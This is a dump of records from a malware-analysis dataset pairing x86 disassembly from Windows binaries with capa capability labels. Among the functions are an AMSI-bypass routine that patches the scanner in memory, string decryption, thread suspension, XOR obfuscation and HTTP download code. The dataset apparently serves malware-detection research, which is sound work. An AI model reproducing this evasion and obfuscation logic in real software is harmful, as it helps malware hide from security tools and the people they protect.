joyce8/EMBER2024-capa huggingface dataset:
Function at 0x68d57257
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
add esp, 0xffffff80
cmp dword [ebp + 8], 0
je 0x68d57370
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.68d5afa4
cmp eax, 1
jne 0x68d57366
mov dword [ebp - 0x77], 0x6f727245
mov dword [ebp - 0x73], 0x6c632072
mov dword [ebp - 0x6f], 0x696e6165
mov dword [ebp - 0x6b], 0x7520676e
mov dword [ebp - 0x67], 0x70732070
mov dword [ebp - 0x63], 0x6b5f6e69
mov dword [ebp - 0x5f], 0x20737965
mov dword [ebp - 0x5b], 0x20726f66
mov dword [ebp - 0x57], 0x65726874
mov dword [ebp - 0x53], 0x206461
lea eax, [ebp - 0x4f]
mov ecx, 0x43
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [esp + 8], 0xa
lea edx, [ebp - 0x77]
add edx, 0x27
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__ultoa]
call eax
mov dword [ebp - 0xc], 0x27
jmp 0x68d5731c
add dword [ebp - 0xc], 1
lea edx, [ebp - 0x77]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x68d57333
mov eax, dword [ebp - 0xc]
cmp eax, 0x69
jbe 0x68d57318
mov eax, dword [ebp - 0xc]
cmp eax, 0x69
ja 0x68d57351
lea edx, [ebp - 0x77]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0xa
mov eax, dword [ebp - 0xc]
add eax, 1
mov byte [ebp + eax - 0x77], 0
lea eax, [ebp - 0x77]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call eax
sub esp, 4
call sub.msvcrt.dll_abort
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov dword [eax], edx
jmp 0x68d57371
nop
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret
Function at 0x68d582f7
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x1c], 0xffffffff
mov dword [esp + 4], 0x68d58166
mov dword [esp], 0x68f01a9c
call fcn.68d578cc
mov eax, dword [0x68ef54f0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x68d5833e
mov eax, dword [ebp - 0x20]
jmp 0x68d58489
call fcn.68d57160
mov dword [ebp - 0x20], eax
mov eax, dword [entry3]
test eax, eax
je 0x68d58355
cmp dword [ebp - 0x20], 0
jne 0x68d5835f
mov eax, 0
jmp 0x68d58489
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x24], 1
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x1c], 0xffffffff
mov eax, dword [ebp - 0x20]
lea edx, [eax + 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.68d57257
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x64], 0
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x20]
lea edi, [eax + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call eax
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
test eax, eax
jne 0x68d58431
call sub.msvcrt.dll_abort
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
call eax
sub esp, 4
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x6c], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x68], 0
mov eax, dword [ebp - 0x20]
movzx edx, byte [eax + 0x20]
and edx, 0xffffffcf
or edx, 0x10
mov byte [eax + 0x20], dl
mov eax, dword [0x68ef54f0]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
test eax, eax
jne 0x68d58486
call sub.msvcrt.dll_abort
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x68d5854d
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
call fcn.68d582f7
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb4]
mov dword [esp], eax
call fcn.68d5818a
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax + 0x20]
and eax, 0x30
test al, al
jne 0x68d585a8
mov eax, dword [ebp - 0x14]
add eax, 0x70
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_longjmp]
call eax
mov eax, dword [0x68ef54f0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x68d586d2
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x68d5863a
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x68d585f7
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.68d5706e
mov dword [ebp - 0x10], 0
mov eax, dword [0x68ef54f0]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
jmp 0x68d586d2
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x68], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x68d5866a
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x24]
and eax, 4
test eax, eax
je 0x68d586d2
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.68d5706e
mov dword [ebp - 0x10], 0
mov eax, dword [0x68ef54f0]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__endthreadex]
call eax
Function at 0x68d6032c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov dword [ebp - 0x210], 0x100
lea eax, [ebp - 0x210]
mov dword [esp + 8], eax
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
call eax
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x68d60388
mov dword [esp + 4], 0
mov dword [esp], 0x115
call fcn.68d602b8
mov eax, 0
jmp 0x68d603a8
lea eax, [ebp - 0x20c]
add eax, 2
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.68d6082c
nop
leave
ret

Function at 0x68d60434
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov dword [ebp - 8], 0
jmp 0x68d60458
mov eax, dword [ebp - 8]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
mov word [eax], 0
add dword [ebp - 8], 1
mov eax, dword [ebp - 8]
cmp dword [ebp + 0x10], eax
jae 0x68d60444
mov dword [ebp - 0xc], 0
jmp 0x68d604c2
mov eax, dword [ebp + 0x1c]
imul eax, dword [ebp + 0x14]
mov edx, eax
mov eax, dword [ebp + 0x18]
add eax, edx
mov dword [ebp + 0x1c], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movzx ecx, al
mov eax, dword [ebp + 0x1c]
mov ebx, eax
mov eax, dword [ebp - 0xc]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
xor ecx, ebx
mov edx, ecx
mov word [eax], dx
mov eax, dword [ebp - 0xc]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
movzx eax, word [eax]
mov edx, dword [ebp - 0xc]
lea ecx, [edx + edx]
mov edx, dword [ebp + 0xc]
add edx, ecx
movzx eax, al
mov word [edx], ax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jb 0x68d60469
nop
nop
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x68d60558
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x68d606c8
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x68d605fa
mov dword [esp + 0x14], 0x45
mov dword [esp + 0x10], 0xbf
mov dword [esp + 0xc], 5
mov dword [esp + 8], 0xb
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x68ef85a0
call fcn.68d604d4
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call fcn.68d60be0
mov dword [esp + 4], 0
mov dword [esp], 0x2be
call fcn.68d602b8
jmp 0x68d60618
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
call fcn.68d41f39
nop
leave
ret
Function at 0x68d60be0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x578
cmp dword [ebp + 8], 0
je 0x68d60dcd
lea eax, [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__vsnprintf]
call eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x68d60dd0
lea eax, [ebp - 0x320]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathW]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
jne 0x68d60dd3
mov dword [esp + 0x14], 0xde
mov dword [esp + 0x10], 0x67
mov dword [esp + 0xc], 0x11
mov dword [esp + 8], 0xe
lea eax, [ebp - 0x54a]
mov dword [esp + 4], eax
mov dword [esp], 0x68ef8550
call fcn.68d60434
lea eax, [ebp - 0x54a]
mov dword [esp + 8], eax
lea eax, [ebp - 0x320]
mov dword [esp + 4], eax
lea eax, [ebp - 0x528]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathCombineW]
call eax
sub esp, 0xc
test eax, eax
sete al
test al, al
jne 0x68d60dd6
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x528]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x68d60dd9
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x14], 0x68ef615c
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x52c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x52c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x68d60dda
nop
jmp 0x68d60dda
nop
jmp 0x68d60dda
nop
jmp 0x68d60dda
nop
jmp 0x68d60dda
nop
leave
ret
Function at 0x68d60ddc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [esp + 0x14], 0xb9
mov dword [esp + 0x10], 0x53
mov dword [esp + 0xc], 9
mov dword [esp + 8], 8
lea eax, [ebp - 0x42]
mov dword [esp + 4], eax
mov dword [esp], 0x68ef85b0
call fcn.68d60434
lea eax, [ebp - 0x42]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x68d60e47
mov dword [esp + 4], 0
mov dword [esp], 0x7b
call fcn.68d602b8
jmp 0x68d60f59
mov dword [esp + 0x14], 0xaf
mov dword [esp + 0x10], 0x5f
mov dword [esp + 0xc], 0x11
mov dword [esp + 8], 0xe
lea eax, [ebp - 0x2f]
mov dword [esp + 4], eax
mov dword [esp], 0x68ef8580
call fcn.68d604d4
lea eax, [ebp - 0x2f]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x68d60eb3
mov dword [esp + 4], 0
mov dword [esp], 0x7e
call fcn.68d602b8
jmp 0x68d60f59
mov dword [ebp - 0xc], 0
jmp 0x68d60f4c
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp eax, 0x49534d41
jne 0x68d60f47
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 4
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x68d60f48
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x18]
mov dword [eax], edx
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x20]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
jmp 0x68d60f48
nop
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xfff
jle 0x68d60ebf
leave
ret
Function at 0x68d6194c
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xffffffff
mov dword [esp + 4], 0
mov dword [esp], 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x68d61997
mov eax, 0
jmp 0x68d61a82
mov dword [ebp - 0x38], 0x1c
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_Thread32First
sub esp, 8
test eax, eax
sete al
test al, al
je 0x68d619d6
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x68d61a82
mov eax, dword [ebp - 0x38]
cmp eax, 0xf
jbe 0x68d61a4b
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xc], eax
jne 0x68d61a4b
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x10], eax
je 0x68d61a4b
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenThread]
call eax
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x18], 0
je 0x68d61a4b
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SuspendThread]
call eax
sub esp, 4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_Thread32Next
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x68d619d6
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
leave
ret
Function at 0x402c00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0x420040]
push edi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
mov edi, dword [ebp + 0x10]
lea eax, [edi + 1]
push eax
push 0
call dword [0x42003c]
push eax
call dword [0x420038]
mov ebx, eax
push 0x420368
mov dword [ebp - 4], ebx
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
mov byte [ebx + edi], 0
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x402d17
mov eax, dword [ebp + 8]
sub eax, ebx
mov dword [ebp - 8], eax
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
mov ecx, dword [ebp + 0xc]
push ecx
add ebx, edi
call dword [0x420034]
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov eax, dword [ebp + 0xc]
push 0x420368
mov cl, byte [edx + eax]
mov edx, dword [ebp - 8]
xor cl, byte [edx + ebx]
mov byte [ebx], cl
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
mov ebx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp + 0x10]
jb 0x402ca6
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
lea eax, [ebp - 0xc]
push eax
push 0x100
push 4
push ebx
mov dword [ebp - 0xc], 0
call dword [0x420030]
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
push 0x420368
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404fe0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x594
push ebx
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00410450
lea ecx, [ebp - 0x94]
push ecx
call fcn.00404970
add esp, 0x10
push 0x5f5e0ff
mov esi, eax
mov ecx, 0xf
lea edi, [ebp - 0x58]
push 0
rep movsd dword es:[edi], dword [esi]
call dword [0x63b870]
push eax
call dword [0x63b800]
xor edi, edi
push edi
push edi
push edi
push edi
lea ecx, [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 1
call fcn.00410650
push eax
call dword [0x63b764]
mov edx, dword [0x62aa14]
mov ebx, eax
mov eax, dword [ebp - 0x54]
push edx
push eax
mov dword [ebp - 0x10], ebx
xor esi, esi
call dword [0x63b840]
test eax, eax
jne 0x405067
lea esi, [edi + 1]
test ebx, ebx
je 0x4051aa
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x48]
push 0
push 0
push 3
push 0
push 0
push ecx
push edx
push ebx
call dword [0x63b864]
mov ecx, eax
mov dword [ebp - 0x18], ecx
test ecx, ecx
je 0x4051a3
mov edx, dword [ebp - 0x2c]
mov eax, esi
neg eax
sbb eax, eax
push 0
and eax, 0x800000
add eax, 0x400100
push eax
mov eax, dword [0x62a860]
push 0
push 0
push eax
push edx
push str.BU_0_d
push ecx
call dword [0x63b8a4]
mov ebx, eax
test ebx, ebx
je 0x405196
test esi, esi
je 0x4050e6
or dword [ebp - 8], 0x10300
push 4
lea eax, [ebp - 8]
push eax
push 0x1f
push ebx
call dword [0x63b65c]
push 0
push 0
push 0
push 0
push ebx
call dword [0x63b82c]
push 0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x194]
push edx
push 0x13
push ebx
mov esi, eax
mov dword [ebp - 0x14], 0x100
call dword [0x63b8bc]
test eax, eax
jne 0x405136
lea ecx, [ebp + 8]
xor esi, esi
call fcn.00410490
lea ecx, [ebp + 0x14]
call fcn.00410490
mov eax, dword [ebp - 0x1c]
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x194]
push eax
call fcn.00411680
add esp, 4
cmp eax, 0xc8
jne 0x405118
test esi, esi
je 0x405196
cmp dword [ebp - 4], edi
jbe 0x405196
lea ecx, [ebp - 4]
push ecx
push 0x400
lea edx, [ebp - 0x594]
push edx
push ebx
call dword [0x63b78c]
xor esi, esi
cmp dword [ebp - 4], esi
jbe 0x405196
mov ecx, dword [ebp - 0xc]
push 1
lea eax, [ebp + esi - 0x594]
push eax
lea edx, [edi + ecx]
push edx
call fcn.00411700
mov eax, dword [ebp - 4]
inc esi
inc edi
cmp esi, eax
jb 0x405173
test eax, eax
jne 0x405155
push ebx
call dword [0x63b760]
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [0x63b760]
push ebx
call dword [0x63b760]
lea ecx, [ebp + 8]
call fcn.00410490
lea ecx, [ebp + 0x14]
call fcn.00410490
mov eax, dword [ebp - 0xc]
mov edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405c10
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x974
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 0xc]
mov ecx, esp
push eax
call fcn.00410450
lea ecx, [ebp - 0xa4]
push ecx
call fcn.00404970
mov esi, eax
add esp, 0x10
mov ecx, 0xf
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
push 0x4201e9
lea ecx, [ebp - 0x14]
call fcn.00410410
push 0
push 0
push 0
push 1
lea ecx, [ebp + 0x18]
call fcn.00410650
push eax
call dword [0x63b764]
mov edx, dword [0x62aa14]
mov esi, eax
mov eax, dword [ebp - 0x64]
push edx
push eax
mov dword [ebp - 0x18], esi
xor edi, edi
call dword [0x63b840]
test eax, eax
jne 0x405c87
lea edi, [eax + 1]
test esi, esi
je 0x405dea
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x58]
push 0
push 0
push 3
push 0
push 0
push ecx
push edx
push esi
call dword [0x63b864]
mov ecx, eax
mov dword [ebp - 0x1c], ecx
test ecx, ecx
je 0x405de3
mov edx, dword [ebp - 0x3c]
mov eax, edi
neg eax
sbb eax, eax
push 0
and eax, 0x800000
add eax, 0x400100
push eax
mov eax, dword [0x62a860]
push 0
push 0
push eax
push edx
push str.BU_0_d
push ecx
call dword [0x63b8a4]
mov esi, eax
test esi, esi
je 0x405dd6
test edi, edi
je 0x405d06
or dword [ebp - 4], 0x10300
push 4
lea eax, [ebp - 4]
push eax
push 0x1f
push esi
call dword [0x63b65c]
push 0
push 0
push 0
push 0
push esi
call dword [0x63b82c]
push 0
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1a4]
push edx
push 0x13
push esi
mov edi, eax
mov dword [ebp - 0x20], 0x100
call dword [0x63b8bc]
test eax, eax
jne 0x405d4c
mov esi, dword [ebp + 8]
push 0x423368
mov ecx, esi
call fcn.00410410
jmp 0x405df8
lea eax, [ebp - 0x1a4]
push eax
call fcn.00411680
add esp, 4
cmp eax, 0xc8
jne 0x405d38
test edi, edi
je 0x405dcf
lea ecx, [ebp - 8]
push ecx
push 0x7cf
lea edx, [ebp - 0x974]
push edx
push esi
call dword [0x63b78c]
test eax, eax
je 0x405dcf
mov eax, dword [ebp - 8]
test eax, eax
je 0x405dcf
mov byte [ebp + eax - 0x974], 0
lea eax, [ebp - 0x974]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x14]
call fcn.004105a0
push eax
lea ecx, [ebp - 0x14]
call fcn.004104f0
lea ecx, [ebp - 0x2c]
call fcn.00410490
lea edx, [ebp - 8]
push edx
push 0x7cf
lea eax, [ebp - 0x974]
push eax
push esi
call dword [0x63b78c]
test eax, eax
jne 0x405d81
push esi
call dword [0x63b760]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x63b760]
mov esi, dword [ebp - 0x18]
push esi
call dword [0x63b760]
mov esi, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
mov ecx, esi
call fcn.00410450
lea ecx, [ebp - 0x14]
call fcn.00410490
lea ecx, [ebp + 0xc]
call fcn.00410490
lea ecx, [ebp + 0x18]
call fcn.00410490
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret